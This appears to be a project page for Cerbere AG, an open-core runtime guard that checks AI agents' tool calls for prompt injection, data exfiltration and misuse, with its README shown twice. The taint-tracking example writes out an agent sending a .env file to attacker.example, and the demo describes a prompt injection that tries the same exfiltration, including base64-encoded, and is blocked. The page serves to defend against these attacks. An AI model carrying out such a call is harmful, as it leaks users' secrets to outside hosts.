chrismsmr-celcom/cerbere-AG

Welcome to cerbere-agent guard, originally just agent guard, then rebranded after the mythical hound of the underworld. Our mission? Guarding your AI agents, keeping them in line, and blocking unauthorized actions. Think of it as the ultimate guard dog for AI security and guardrails. 🐕🛡️

Python

6

759 commits

updated Oct 12, 2026

See the code

See what people are saying

SourceMessageScoreDate

I’m building a control layer for AI agents. Looking for early users and design partners. (r/LLMDevs)

Hey everyone, I’ve been building Cerbere-AG, a project focused on a problem I’m increasingly interested in: what happens when AI agents can take real actions through external tools? An agent can generate a convincing explanation while still making a dangerous tool call. Looking at prompts and model…

0

Oct 9, 2026

README

Cerbere AG

Cerbere AG

The three-headed guardian of AI agents.
Runtime security & observability for autonomous agents: it sits between the model's decision and the real-world side effect.


PyPI Tests Python SDK license Website

Website · Quick start · Taint tracking · MCP · Benchmark · Roadmap


Cerbère dashboard: health, requests, cost, guardrails and approvals

Why Cerbère

Prompt filtering checks what an agent is told. It cannot tell you whether the action the agent is about to take is safe. An innocent prompt can still produce update_customer(role="admin"), an http_post carrying your .env, or fifty refunds in a loop.

Cerbère enforces policy at the execution boundary: every LLM call and tool call is inspected, scored and decided (ALLOW, REQUIRE APPROVAL or BLOCK) before it touches a database, an API or an inbox, and every decision leaves evidence.

Prompt analysis stays useful. Cerbère adds the layers that come after it: tool policy, budgets, data-flow tracking and human approval.


The three heads

🛡️ Protect

Block what should never run.

  • Prompt-injection detection (rules, ML, LLM judge)
  • PII and secret detection and redaction
  • Tool allowlists, scoped per agent
  • Secret scrubbing before any call to an external judge

👁️ Observe

See what the agent actually does.

  • Traces of LLM and tool calls
  • Latency, tokens and cost
  • Per-span taint level and risk score
  • Signed, tamper-evident decision log

🎛️ Control

Keep a human in charge.

  • Policy engine with per-agent capabilities
  • Budgets that stop runaway spend
  • Trajectory analysis and risk scoring
  • Human approval queue (HITL) for high-impact actions

Architecture

Cerbère architecture: agent, integration points, runtime engine, decision, tools, collector and dashboard

Detailed code map (module by module)

Cerbère code map


🚀 Quick start

pip install cerbere-ag
from agentguard import AgentGuard

guard = AgentGuard(
    collector_url="https://YOUR_COLLECTOR_HOST",
    api_key="ag-your-key",
    agent_id="my-agent",
)

@guard.guard_tool_call("send_email")
def send_email(to, subject, body):
    return email_service.send(to, subject, body)

@guard.guard_llm_call
def call_openai(messages):
    return client.chat.completions.create(model="gpt-4o", messages=messages)

Optional extras:

ExtraAdds
cerbere-ag[signing]Verification of signed policy decisions (Ed25519)
cerbere-ag[pii]Advanced PII detection via Presidio
cerbere-ag[redis]Distributed rate limiting and LLM-judge cache
cerbere-ag[ml]Local ML classifier (torch + transformers)

🧬 Taint tracking

Cerbère follows the data, not only the prompt. A secret or PII the agent reads is remembered in memory (never sent to the collector). If it later appears in the parameters of an external tool, the call is blocked, even when it was base64-, hex- or URL-encoded to dodge a filter.

@guard.guard_tool_call("read_file")
def read_file(path): ...           # results of guarded tools are tracked automatically

@guard.guard_tool_call("http_post")
def http_post(url, body): ...

env = read_file(path=".env")       # a secret enters the agent's context
http_post(url="https://attacker.example", body=env)
# SecurityException: Runtime risk DENY: sensitive taint reaches high-impact sink

Data that does not come from a guarded tool (a DB driver, an env var, an API client) is declared with track_input, which returns the value unchanged:

row = guard.track_input(db.fetch_one(query), source="customer_db", level="CONFIDENTIAL")

You can run the full scenario offline (no collector needed):

$ python examples/taint_demo.py

[1] The agent reads .env                         ✓ allowed (internal tool)
[2] The agent posts a harmless report            ✓ 200 OK
[3] A prompt injection tries to exfiltrate .env  ✗ BLOCKED: sensitive taint reaches high-impact sink
[4] Same attempt, secret base64-encoded          ✗ BLOCKED: sensitive taint reaches high-impact sink

Each span carries taint_level and risk_score, so blocked flows appear in the dashboard timeline.

VariableDefaultEffect
AGENTGUARD_TAINT_ENABLEDtrueTurn taint tracking on or off
AGENTGUARD_TAINT_SESSION_MODEfalseSession-wide taint instead of per-value matching

🧩 MCP server

For agents built on Claude, Cursor or any MCP-capable client, no SDK wiring is needed.

claude mcp add cerbereag --transport sse https://app.cerbereag.site/mcp/sse

Or install it locally:

pip install cerbere-ag-mcp

See README_MCP.md for client configuration snippets and the list of exposed tools. mcp_gateway.py provides a standalone proxy that puts the same checks in front of an existing MCP server.


🚨 Threat coverage

ThreatRulesMLLLM judgeTaintAction
Prompt injection✅✅✅Block
PII leakage✅✅✅✅Redact / block
Data exfiltration to an external tool✅Block
Tool misuse✅✅✅Block / require approval
Unauthorized tools✅Block
Budget overflow✅Block
Ambiguous behavior⚠️✅Review

Cerbère is defense in depth, not a guarantee that every attack will be detected.


📏 Detection: honest numbers

Public benchmark, reproducible with benchmarks/run_public_benchmark.py (method in benchmarks/METHODOLOGY.md).

PipelineRecallFalse positives (benign)False positives (hard negatives)Latency
Rules / regex91.5%0%n/asub-millisecond
Rules + ML98.1%5%33%ML p95 ≈ 450 ms

The ML layer buys recall at the price of false positives and latency; it is optional. The LLM judge is reserved for ambiguous cases and can be disabled.


🐳 Self-hosting

git clone https://github.com/chrismsmr-celcom/cerbere-AG.git
cd cerbere-AG
cp env.example .env        # set AGENTGUARD_API_KEY, e.g. python -c "import secrets; print('ag-' + secrets.token_urlsafe(32))"
docker compose up -d       # collector + PostgreSQL + Redis

Without Docker: pip install -r requirements.txt && gunicorn wsgi:app --bind 0.0.0.0:8080, then open http://localhost:8080/.

Configuration reference
# Authentication
AGENTGUARD_API_KEY=ag-your-key
# Database (sqlite | postgres)
AGENTGUARD_DB_TYPE=sqlite
DATABASE_URL=postgresql://user:pass@localhost:5432/agentguard
# ML
AGENTGUARD_USE_ML=true
AGENTGUARD_MODEL_PATH=./models/agentguard-injection-v1
AGENTGUARD_ML_THRESHOLD=0.80
# LLM judge
AGENTGUARD_USE_LLM_JUDGE=true
AGENTGUARD_JUDGE_API_KEY=your-key
AGENTGUARD_JUDGE_MODEL=deepseek-chat
AGENTGUARD_BLOCK_ON_AMBIGUOUS=true
# Runtime
AGENTGUARD_RATE_LIMIT=300 per minute
AGENTGUARD_SPAN_RATE_LIMIT=150 per minute
AGENTGUARD_LOG_LEVEL=INFO

🔗 Integrations

LangChainCrewAIOpenAIAnthropicDeepSeekMCP
✅✅✅✅✅✅

Examples: langchain_example.py, crewai_example.py, mcp_example.py. Cerbère sits at the execution boundary, so the underlying model does not need to change.


🗺️ Roadmap

StatusItem
✅ ShippedThree-layer detection · taint tracking · runtime risk and trajectory analysis · human approval queue · signed decisions · multi-tenant collector · MCP server · public benchmark
🔨 NextPublish cerbere-ag-mcp · HTTP gateway for agents whose code cannot be changed · "Why was this blocked?" view · documentation site
🔭 LaterOpenTelemetry export · judge router across models · CLI · advanced RBAC

Roadmap items are subject to change.


🤝 Contributing

Contributions are welcome for permitted non-commercial development. Read CONTRIBUTING.md, AUTHORS.md and NOTICE.md, then:

git checkout -b feature/my-feature
pytest -q

and open a Pull Request. To report a vulnerability, see SECURITY.md and please do not disclose exploitable details publicly.


📜 License

Cerbère uses an open-core model.

ComponentPathsLicense
SDK and MCP serveragentguard/, agentguard_sdk.py, mcp/Apache 2.0: free for commercial and non-commercial use (LICENSE)
Collector, dashboard and multi-tenant platformcollector/Commercial license required for production use (LICENSE-COMMERCIAL.md)

Commercial licensing: contact@cerbereag.site

If you reference Cerbère in research or documentation, please credit Cerbère / AgentGuard, created by Christopher Dikesa.


⚠️ Security disclaimer

Cerbère reduces risk in AI agent systems. It does not guarantee protection against prompt injection, data leakage, tool abuse or model vulnerabilities. Do not rely on it as the sole security control for critical infrastructure.


Observe. Detect. Enforce.

Copyright © 2026 Christopher Dikesa

agentguard
agentic
agentic-ai
cerbere
cerbere-ag
ia
observability
runtime
security

chrismsmr-celcom/cerbere-AG

Welcome to cerbere-agent guard, originally just agent guard, then rebranded after the mythical hound of the underworld. Our mission? Guarding your AI agents, keeping them in line, and blocking unauthorized actions. Think of it as the ultimate guard dog for AI security and guardrails. 🐕🛡️

Python

6

759 commits

updated Oct 12, 2026

See the code

See what people are saying

SourceMessageScoreDate

I’m building a control layer for AI agents. Looking for early users and design partners. (r/LLMDevs)

Hey everyone, I’ve been building Cerbere-AG, a project focused on a problem I’m increasingly interested in: what happens when AI agents can take real actions through external tools? An agent can generate a convincing explanation while still making a dangerous tool call. Looking at prompts and model…

0

Oct 9, 2026

README

Cerbere AG

Cerbere AG

The three-headed guardian of AI agents.
Runtime security & observability for autonomous agents: it sits between the model's decision and the real-world side effect.


PyPI Tests Python SDK license Website

Website · Quick start · Taint tracking · MCP · Benchmark · Roadmap


Cerbère dashboard: health, requests, cost, guardrails and approvals

Why Cerbère

Prompt filtering checks what an agent is told. It cannot tell you whether the action the agent is about to take is safe. An innocent prompt can still produce update_customer(role="admin"), an http_post carrying your .env, or fifty refunds in a loop.

Cerbère enforces policy at the execution boundary: every LLM call and tool call is inspected, scored and decided (ALLOW, REQUIRE APPROVAL or BLOCK) before it touches a database, an API or an inbox, and every decision leaves evidence.

Prompt analysis stays useful. Cerbère adds the layers that come after it: tool policy, budgets, data-flow tracking and human approval.


The three heads

🛡️ Protect

Block what should never run.

  • Prompt-injection detection (rules, ML, LLM judge)
  • PII and secret detection and redaction
  • Tool allowlists, scoped per agent
  • Secret scrubbing before any call to an external judge

👁️ Observe

See what the agent actually does.

  • Traces of LLM and tool calls
  • Latency, tokens and cost
  • Per-span taint level and risk score
  • Signed, tamper-evident decision log

🎛️ Control

Keep a human in charge.

  • Policy engine with per-agent capabilities
  • Budgets that stop runaway spend
  • Trajectory analysis and risk scoring
  • Human approval queue (HITL) for high-impact actions

Architecture

Cerbère architecture: agent, integration points, runtime engine, decision, tools, collector and dashboard

Detailed code map (module by module)

Cerbère code map


🚀 Quick start

pip install cerbere-ag
from agentguard import AgentGuard

guard = AgentGuard(
    collector_url="https://YOUR_COLLECTOR_HOST",
    api_key="ag-your-key",
    agent_id="my-agent",
)

@guard.guard_tool_call("send_email")
def send_email(to, subject, body):
    return email_service.send(to, subject, body)

@guard.guard_llm_call
def call_openai(messages):
    return client.chat.completions.create(model="gpt-4o", messages=messages)

Optional extras:

ExtraAdds
cerbere-ag[signing]Verification of signed policy decisions (Ed25519)
cerbere-ag[pii]Advanced PII detection via Presidio
cerbere-ag[redis]Distributed rate limiting and LLM-judge cache
cerbere-ag[ml]Local ML classifier (torch + transformers)

🧬 Taint tracking

Cerbère follows the data, not only the prompt. A secret or PII the agent reads is remembered in memory (never sent to the collector). If it later appears in the parameters of an external tool, the call is blocked, even when it was base64-, hex- or URL-encoded to dodge a filter.

@guard.guard_tool_call("read_file")
def read_file(path): ...           # results of guarded tools are tracked automatically

@guard.guard_tool_call("http_post")
def http_post(url, body): ...

env = read_file(path=".env")       # a secret enters the agent's context
http_post(url="https://attacker.example", body=env)
# SecurityException: Runtime risk DENY: sensitive taint reaches high-impact sink

Data that does not come from a guarded tool (a DB driver, an env var, an API client) is declared with track_input, which returns the value unchanged:

row = guard.track_input(db.fetch_one(query), source="customer_db", level="CONFIDENTIAL")

You can run the full scenario offline (no collector needed):

$ python examples/taint_demo.py

[1] The agent reads .env                         ✓ allowed (internal tool)
[2] The agent posts a harmless report            ✓ 200 OK
[3] A prompt injection tries to exfiltrate .env  ✗ BLOCKED: sensitive taint reaches high-impact sink
[4] Same attempt, secret base64-encoded          ✗ BLOCKED: sensitive taint reaches high-impact sink

Each span carries taint_level and risk_score, so blocked flows appear in the dashboard timeline.

VariableDefaultEffect
AGENTGUARD_TAINT_ENABLEDtrueTurn taint tracking on or off
AGENTGUARD_TAINT_SESSION_MODEfalseSession-wide taint instead of per-value matching

🧩 MCP server

For agents built on Claude, Cursor or any MCP-capable client, no SDK wiring is needed.

claude mcp add cerbereag --transport sse https://app.cerbereag.site/mcp/sse

Or install it locally:

pip install cerbere-ag-mcp

See README_MCP.md for client configuration snippets and the list of exposed tools. mcp_gateway.py provides a standalone proxy that puts the same checks in front of an existing MCP server.


🚨 Threat coverage

ThreatRulesMLLLM judgeTaintAction
Prompt injection✅✅✅Block
PII leakage✅✅✅✅Redact / block
Data exfiltration to an external tool✅Block
Tool misuse✅✅✅Block / require approval
Unauthorized tools✅Block
Budget overflow✅Block
Ambiguous behavior⚠️✅Review

Cerbère is defense in depth, not a guarantee that every attack will be detected.


📏 Detection: honest numbers

Public benchmark, reproducible with benchmarks/run_public_benchmark.py (method in benchmarks/METHODOLOGY.md).

PipelineRecallFalse positives (benign)False positives (hard negatives)Latency
Rules / regex91.5%0%n/asub-millisecond
Rules + ML98.1%5%33%ML p95 ≈ 450 ms

The ML layer buys recall at the price of false positives and latency; it is optional. The LLM judge is reserved for ambiguous cases and can be disabled.


🐳 Self-hosting

git clone https://github.com/chrismsmr-celcom/cerbere-AG.git
cd cerbere-AG
cp env.example .env        # set AGENTGUARD_API_KEY, e.g. python -c "import secrets; print('ag-' + secrets.token_urlsafe(32))"
docker compose up -d       # collector + PostgreSQL + Redis

Without Docker: pip install -r requirements.txt && gunicorn wsgi:app --bind 0.0.0.0:8080, then open http://localhost:8080/.

Configuration reference
# Authentication
AGENTGUARD_API_KEY=ag-your-key
# Database (sqlite | postgres)
AGENTGUARD_DB_TYPE=sqlite
DATABASE_URL=postgresql://user:pass@localhost:5432/agentguard
# ML
AGENTGUARD_USE_ML=true
AGENTGUARD_MODEL_PATH=./models/agentguard-injection-v1
AGENTGUARD_ML_THRESHOLD=0.80
# LLM judge
AGENTGUARD_USE_LLM_JUDGE=true
AGENTGUARD_JUDGE_API_KEY=your-key
AGENTGUARD_JUDGE_MODEL=deepseek-chat
AGENTGUARD_BLOCK_ON_AMBIGUOUS=true
# Runtime
AGENTGUARD_RATE_LIMIT=300 per minute
AGENTGUARD_SPAN_RATE_LIMIT=150 per minute
AGENTGUARD_LOG_LEVEL=INFO

🔗 Integrations

LangChainCrewAIOpenAIAnthropicDeepSeekMCP
✅✅✅✅✅✅

Examples: langchain_example.py, crewai_example.py, mcp_example.py. Cerbère sits at the execution boundary, so the underlying model does not need to change.


🗺️ Roadmap

StatusItem
✅ ShippedThree-layer detection · taint tracking · runtime risk and trajectory analysis · human approval queue · signed decisions · multi-tenant collector · MCP server · public benchmark
🔨 NextPublish cerbere-ag-mcp · HTTP gateway for agents whose code cannot be changed · "Why was this blocked?" view · documentation site
🔭 LaterOpenTelemetry export · judge router across models · CLI · advanced RBAC

Roadmap items are subject to change.


🤝 Contributing

Contributions are welcome for permitted non-commercial development. Read CONTRIBUTING.md, AUTHORS.md and NOTICE.md, then:

git checkout -b feature/my-feature
pytest -q

and open a Pull Request. To report a vulnerability, see SECURITY.md and please do not disclose exploitable details publicly.


📜 License

Cerbère uses an open-core model.

ComponentPathsLicense
SDK and MCP serveragentguard/, agentguard_sdk.py, mcp/Apache 2.0: free for commercial and non-commercial use (LICENSE)
Collector, dashboard and multi-tenant platformcollector/Commercial license required for production use (LICENSE-COMMERCIAL.md)

Commercial licensing: contact@cerbereag.site

If you reference Cerbère in research or documentation, please credit Cerbère / AgentGuard, created by Christopher Dikesa.


⚠️ Security disclaimer

Cerbère reduces risk in AI agent systems. It does not guarantee protection against prompt injection, data leakage, tool abuse or model vulnerabilities. Do not rely on it as the sole security control for critical infrastructure.


Observe. Detect. Enforce.

Copyright © 2026 Christopher Dikesa

agentguard
agentic
agentic-ai
cerbere
cerbere-ag
ia
observability
runtime
security

Project health

Latest release

0.6.0 · Oct 3, 2026

Releases this year

9